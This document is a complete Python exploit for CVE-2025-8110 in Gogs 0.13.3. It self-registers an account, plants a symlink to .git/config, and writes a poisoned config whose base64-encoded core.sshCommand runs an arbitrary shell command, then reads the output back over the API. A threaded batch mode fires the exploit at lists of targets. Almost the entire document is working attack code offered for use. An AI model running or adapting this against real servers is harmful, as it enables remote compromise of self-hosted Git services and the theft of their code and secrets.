📄 Gogs 0.13.3 Authenticated Remote Code Execution

#!/usr/bin/env python3
    """
    CVE-2025-8110 - Gogs PutContents symlink-following arbitrary file write -> RCE
    Affected: Gogs (self-hosted Git service) <= 0.13.3  (fixed in 0.13.4)
    Type: RCE (authenticated; any account that can create a repository)
    
    Root cause:
      The PUT /api/v1/repos/<owner>/<repo>/contents/* handler calls UpdateRepoFile
      without setting IsNewFile. The symlink guard added for CVE-2024-55947 lives
      inside `if opts.IsNewFile { ... }`, so on the API path it is never run and
      os.WriteFile follows a symlink that a prior `git push` planted in the working
      tree. Writing through a `link -> .git/config` symlink poisons the local copy's
      git config; Gogs then runs `git push` in that directory in the same request,
      which executes an attacker-controlled `core.sshCommand`. Command output is
      written back into the working tree and retrieved over the API on a second call.
    
    Usage:
      python exploit.py --host 127.0.0.1 --port 3000 --command "id"
      python exploit.py --host https://gogs.corp.com:3443 --command "uname -a"
      python exploit.py --list targets.txt --workers 20 --command "id"
    
    Requires the `git` client binary on the machine running this exploit (used only
    as a network client to plant the symlink over HTTP - no target-side access).
    """
    
    import argparse
    import base64
    import json
    import os
    import re
    import ssl
    import subprocess
    import sys
    import tempfile
    import urllib.error
    import urllib.parse
    import urllib.request
    from http.cookiejar import CookieJar
    from urllib.parse import urlparse
    
    CVE_ID    = "CVE-2025-8110"
    VULN_TYPE = "RCE"
    
    # Markers wrap the command output so decoding is unambiguous.
    BEGIN = "===ALIM8110-BEGIN==="
    END   = "===ALIM8110-END==="
    
    
    # --------------------------------------------------------------------------- #
    #  Standard ALIM output helpers
    # --------------------------------------------------------------------------- #
    def header(host, port):
        print(f"\n{'='*60}")
        print(f"  ALIM EXPLOIT  {CVE_ID}")
        print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
        print(f"{'='*60}\n")
    
    
    def step(n, msg):
        print(f"[STEP {n}] {msg}")
    
    
    def section(label, content):
        print(f"\n--- {label} ---")
        print(str(content).strip())
        print("---\n")
    
    
    def done(success, evidence):
        print(f"\n{'='*60}")
        print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
        print(f"  EVIDENCE: {evidence}")
        print(f"{'='*60}\n")
        sys.exit(0 if success else 1)
    
    
    # --------------------------------------------------------------------------- #
    #  HTTP client (stdlib only)
    # --------------------------------------------------------------------------- #
    def _make_opener():
        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        return urllib.request.build_opener(
            urllib.request.HTTPCookieProcessor(CookieJar()),
            urllib.request.HTTPSHandler(context=ctx),
        )
    
    
    def _req(opener, base, method, path, data=None, headers=None, auth=None,
             form=False, timeout=60):
        hdrs = dict(headers or {})
        body = None
        if data is not None:
            if form:
                body = urllib.parse.urlencode(data).encode()
                hdrs["Content-Type"] = "application/x-www-form-urlencoded"
            else:
                body = json.dumps(data).encode()
                hdrs["Content-Type"] = "application/json"
        if auth:
            hdrs["Authorization"] = "Basic " + base64.b64encode(
                f"{auth[0]}:{auth[1]}".encode()).decode()
        r = urllib.request.Request(base + path, data=body, headers=hdrs, method=method)
        try:
            resp = opener.open(r, timeout=timeout)
            return resp.status, resp.read().decode("utf-8", "replace")
        except urllib.error.HTTPError as e:
            return e.code, e.read().decode("utf-8", "replace")
    
    
    # --------------------------------------------------------------------------- #
    #  Payload construction
    # --------------------------------------------------------------------------- #
    def _poisoned_config(command):
        """
        Build the full `.git/config` that gets written through the symlink.
    
        core.sshCommand fires during `git push` ref discovery (fake ssh:// URL, so
        the real repo path is never needed). The inner script:
          1. runs the operator command and captures stdout+stderr into pwn_output.txt
             inside the working tree (git's CWD during push);
          2. recovers the real origin URL from `.git/logs/HEAD` (the `clone: from`
             reflog line);
          3. rewrites `.git/config` back to a working config so the next request's
             push succeeds and carries pwn_output.txt into the bare repo.
        """
        inner = "".join([
            "{ echo '%s'; %s 2>&1; echo '%s'; } > pwn_output.txt 2>&1\n" % (BEGIN, command, END),
            "u=$(sed -n 's/.*clone: from //p' .git/logs/HEAD | head -n1)\n",
            "printf '[core]\\n\\trepositoryformatversion = 0\\n\\tbare = false\\n"
            "\\tlogallrefupdates = true\\n[remote \"origin\"]\\n\\turl = %s\\n"
            "\\tfetch = +refs/heads/*:refs/remotes/origin/*\\n[branch \"master\"]\\n"
            "\\tremote = origin\\n\\tmerge = refs/heads/master\\n' \"$u\" > .git/config\n",
        ])
        b64 = base64.b64encode(inner.encode()).decode()
        sshcmd = "sh -c 'echo %s | base64 -d | sh'" % b64
        config = (
            "[core]\n"
            "\trepositoryformatversion = 0\n"
            "\tbare = false\n"
            "\tsshCommand = %s\n"
            "[remote \"origin\"]\n"
            "\turl = ssh://x/y.git\n"
            "\tfetch = +refs/heads/*:refs/remotes/origin/*\n"
            "[branch \"master\"]\n"
            "\tremote = origin\n"
            "\tmerge = refs/heads/master\n"
        ) % sshcmd
        return config
    
    
    # --------------------------------------------------------------------------- #
    #  Core exploit chain (shared by verbose and silent paths)
    # --------------------------------------------------------------------------- #
    def _do_exploit(base, use_tls, command, verbose=False):
        """
        Run the full chain against `base` (scheme://host:port[/prefix], no trailing /).
        Returns (success, evidence). Never calls sys.exit(); prints only if verbose.
        """
        def say_step(n, m):
            if verbose:
                step(n, m)
    
        def say_section(l, c):
            if verbose:
                section(l, c)
    
        opener = _make_opener()
        rnd = os.urandom(4).hex()
        user = "alim_%s" % rnd
        passwd = "Alim-%s-Pw1!" % rnd
        repo = "poc_%s" % rnd
    
        # -- STEP 1: account + API token -------------------------------------- #
        say_step(1, "Registering account '%s' and minting an API token..." % user)
        st, html = _req(opener, base, "GET", "/user/sign_up")
        m = re.search(r'name="_csrf"\s+value="([^"]+)"', html or "")
        if not m:
            return False, "no signup form/_csrf (registration disabled or not Gogs?)"
        csrf = m.group(1)
        _req(opener, base, "POST", "/user/sign_up",
             {"_csrf": csrf, "user_name": user, "email": "%[email protected]" % user,
              "password": passwd, "retype": passwd}, form=True)
    
        st, body = _req(opener, base, "POST", "/api/v1/users/%s/tokens" % user,
                        {"name": "poc-" + rnd}, form=True, auth=(user, passwd))
        if st not in (200, 201):
            return False, "token mint failed (HTTP %s)" % st
        try:
            token = json.loads(body)["sha1"]
        except Exception:
            return False, "token response not JSON (HTTP %s)" % st
        auth_hdr = {"Authorization": "token " + token}
        say_section("API TOKEN", "user=%s token=%s..." % (user, token[:12]))
    
        # -- STEP 2: create repo, git-push a symlink 'link' -> .git/config ----- #
        say_step(2, "Creating repo '%s' and pushing a 'link -> .git/config' symlink..." % repo)
        st, body = _req(opener, base, "POST", "/api/v1/user/repos",
                        {"name": repo, "auto_init": True, "readme": "Default"},
                        headers=auth_hdr)
        if st not in (200, 201):
            return False, "repo create failed (HTTP %s)" % st
    
        p = urlparse(base)
        creds = "%s:%s" % (urllib.parse.quote(user, safe=""),
                           urllib.parse.quote(token, safe=""))
        netloc = p.netloc.split("@")[-1]
        prefix = p.path.rstrip("/")
        clone_url = "%s://%s@%s%s/%s/%s.git" % (p.scheme, creds, netloc, prefix, user, repo)
    
        genv = dict(os.environ, GIT_TERMINAL_PROMPT="0",
                    GIT_AUTHOR_NAME="poc", GIT_AUTHOR_EMAIL="[email protected]",
                    GIT_COMMITTER_NAME="poc", GIT_COMMITTER_EMAIL="[email protected]")
        if use_tls:
            genv["GIT_SSL_NO_VERIFY"] = "true"
    
        tmp = tempfile.mkdtemp(prefix="alim8110_")
        try:
            wt = os.path.join(tmp, "wt")
            r = subprocess.run(["git", "clone", "-q", clone_url, wt],
                               env=genv, capture_output=True, text=True)
            if r.returncode != 0:
                return False, "git clone failed: %s" % (r.stderr.strip()[:160])
            link_path = os.path.join(wt, "link")
            if os.path.lexists(link_path):
                os.unlink(link_path)
            os.symlink(".git/config", link_path)
            subprocess.run(["git", "add", "--all"], cwd=wt, env=genv,
                           check=True, capture_output=True)
            subprocess.run(["git", "commit", "-qm", "add link"], cwd=wt, env=genv,
                           check=True, capture_output=True)
            r = subprocess.run(["git", "push", "-q", "origin", "HEAD:master"],
                               cwd=wt, env=genv, capture_output=True, text=True)
            if r.returncode != 0:
                return False, "git push (plant symlink) failed: %s" % (r.stderr.strip()[:160])
        finally:
            subprocess.run(["rm", "-rf", tmp], capture_output=True)
    
        # -- STEP 3: write poisoned .git/config through the symlink ----------- #
        say_step(3, "PUT contents/link with poisoned .git/config (drives command exec)...")
        config = _poisoned_config(command)
        st, body = _req(opener, base, "PUT",
                        "/api/v1/repos/%s/%s/contents/link" % (user, repo),
                        {"message": "update link", "branch": "master",
                         "content": base64.b64encode(config.encode()).decode()},
                        headers=auth_hdr)
        say_section("POISON WRITE RESPONSE", "HTTP %s  %s" % (st, (body or "")[:200]))
        # HTTP 500 here is the EXPECTED success path: the write landed, then the
        # poisoned `git push` executed the payload and failed on the bogus ssh URL.
        if st == 200:
            return False, "poison write returned HTTP 200 - symlink not followed (patched?)"
        if st != 500:
            return False, "poison write returned unexpected HTTP %s" % st
    
        # -- STEP 4: normal write -> commits pwn_output.txt, push now succeeds - #
        say_step(4, "PUT contents/README.md to commit & push the captured output...")
        st, body = _req(opener, base, "PUT",
                        "/api/v1/repos/%s/%s/contents/README.md" % (user, repo),
                        {"message": "update readme", "branch": "master",
                         "content": base64.b64encode(b"alim-poc\n").decode()},
                        headers=auth_hdr)
        say_section("COMMIT RESPONSE", "HTTP %s" % st)
        if st not in (200, 201):
            return False, "second write failed (HTTP %s) - config repair broke" % st
    
        # -- STEP 5: fetch the command output back over the API --------------- #
        say_step(5, "GET contents/pwn_output.txt - reading command output over HTTP...")
        st, body = _req(opener, base, "GET",
                        "/api/v1/repos/%s/%s/contents/pwn_output.txt" % (user, repo),
                        headers=auth_hdr)
        if st != 200:
            return False, "output file not retrievable (HTTP %s)" % st
        try:
            enc = json.loads(body).get("content", "")
            raw = base64.b64decode(enc).decode("utf-8", "replace")
        except Exception:
            return False, "output file present but content undecodable"
    
        if BEGIN in raw and END in raw:
            out = raw.split(BEGIN, 1)[1].split(END, 1)[0].strip()
        else:
            out = raw.strip()
        if not out:
            return False, "output markers present but command produced no output"
    
        say_section("COMMAND OUTPUT", out)
        first = out.splitlines()[0] if out.splitlines() else out
        return True, "RCE confirmed - '%s' output: %s" % (command, first[:120])
    
    
    # --------------------------------------------------------------------------- #
    #  Scan mode
    # --------------------------------------------------------------------------- #
    def _base_url(host, port, use_tls, path="/"):
        scheme = "https" if use_tls else "http"
        prefix = path.rstrip("/") if path and path != "/" else ""
        return "%s://%s:%d%s" % (scheme, host, port, prefix)
    
    
    def _try_exploit(host, port, use_tls, command="id", path="/"):
        """Silent probe for --list mode. Returns (success, evidence). Never prints/exits."""
        try:
            base = _base_url(host, port, use_tls, path)
            return _do_exploit(base, use_tls, command, verbose=False)
        except Exception as e:
            return False, "error (%s)" % e.__class__.__name__
    
    
    def _parse_target(line, default_port, default_path="/"):
        """One target line -> (host, port, use_tls, path), or None to skip."""
        line = line.strip()
        if not line or line.startswith("#"):
            return None
        if line.startswith(("http://", "https://")):
            p = urlparse(line)
            tls = p.scheme == "https"
            path = p.path if (p.path and p.path not in ("", "/")) else default_path
            return p.hostname, p.port or (443 if tls else default_port), tls, path
        if ":" in line:
            parts = line.rsplit(":", 1)
            try:
                port = int(parts[1])
                return parts[0], port, port in (443, 8443), default_path
            except ValueError:
                pass
        return line, default_port, default_port in (443, 8443), default_path
    
    
    def scan(targets_file, default_port, workers=10, command="id"):
        import concurrent.futures
    
        with open(targets_file) as f:
            targets = [_parse_target(l, default_port) for l in f]
        targets = [t for t in targets if t is not None]
    
        print(f"\n{'='*60}")
        print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
        print(f"{'='*60}\n")
    
        success_count = 0
    
        def probe(t):
            host, port, use_tls, path = t
            label = f"{'https' if use_tls else 'http'}://{host}:{port}"
            ok, evidence = _try_exploit(host, port, use_tls, command, path)
            return label, ok, evidence
    
        with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
            futures = {ex.submit(probe, t): t for t in targets}
            for fut in concurrent.futures.as_completed(futures):
                label, ok, evidence = fut.result()
                print(f"  {'[+]' if ok else '[-]'} {label} - "
                      f"{'Exploited' if ok else 'Not vulnerable'}: {evidence}")
                if ok:
                    success_count += 1
    
        total = len(targets)
        print(f"\n{'='*60}")
        print(f"  SCAN COMPLETE  {success_count} exploited / "
              f"{total - success_count} not vulnerable  ({total} total)")
        print(f"{'='*60}\n")
        sys.exit(0 if success_count > 0 else 1)
    
    
    # --------------------------------------------------------------------------- #
    #  Single-target entry
    # --------------------------------------------------------------------------- #
    def exploit(host, port, use_tls, command, path="/"):
        header(host, port)
        base = _base_url(host, port, use_tls, path)
        step(0, "Base URL: %s" % base)
        try:
            ok, evidence = _do_exploit(base, use_tls, command, verbose=True)
        except FileNotFoundError:
            done(False, "the `git` client binary is required but was not found on PATH")
        except Exception as e:
            done(False, "unexpected error: %s: %s" % (e.__class__.__name__, e))
        done(ok, evidence)
    
    
    if __name__ == "__main__":
        parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
        target_grp = parser.add_mutually_exclusive_group(required=True)
        target_grp.add_argument("--host", help="Target: hostname, IP, or full URL "
                                "(e.g. https://host:3443/path)")
        target_grp.add_argument("--list", metavar="FILE",
                                help="File with one target per line for batch scan")
        parser.add_argument("--port", type=int, default=3000, help="Port (default: 3000)")
        parser.add_argument("--command", default="id", help="Command to execute (default: id)")
        parser.add_argument("--workers", type=int, default=10,
                            help="Threads for --list mode (default: 10)")
        tls_grp = parser.add_mutually_exclusive_group()
        tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
        tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
        args = parser.parse_args()
    
        if args.list:
            scan(args.list, default_port=args.port, workers=args.workers, command=args.command)
        else:
            parsed = _parse_target(args.host, args.port)
            host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
            if args.tls:
                use_tls = True
            if args.no_tls:
                use_tls = False
            exploit(host, port, use_tls, args.command, path)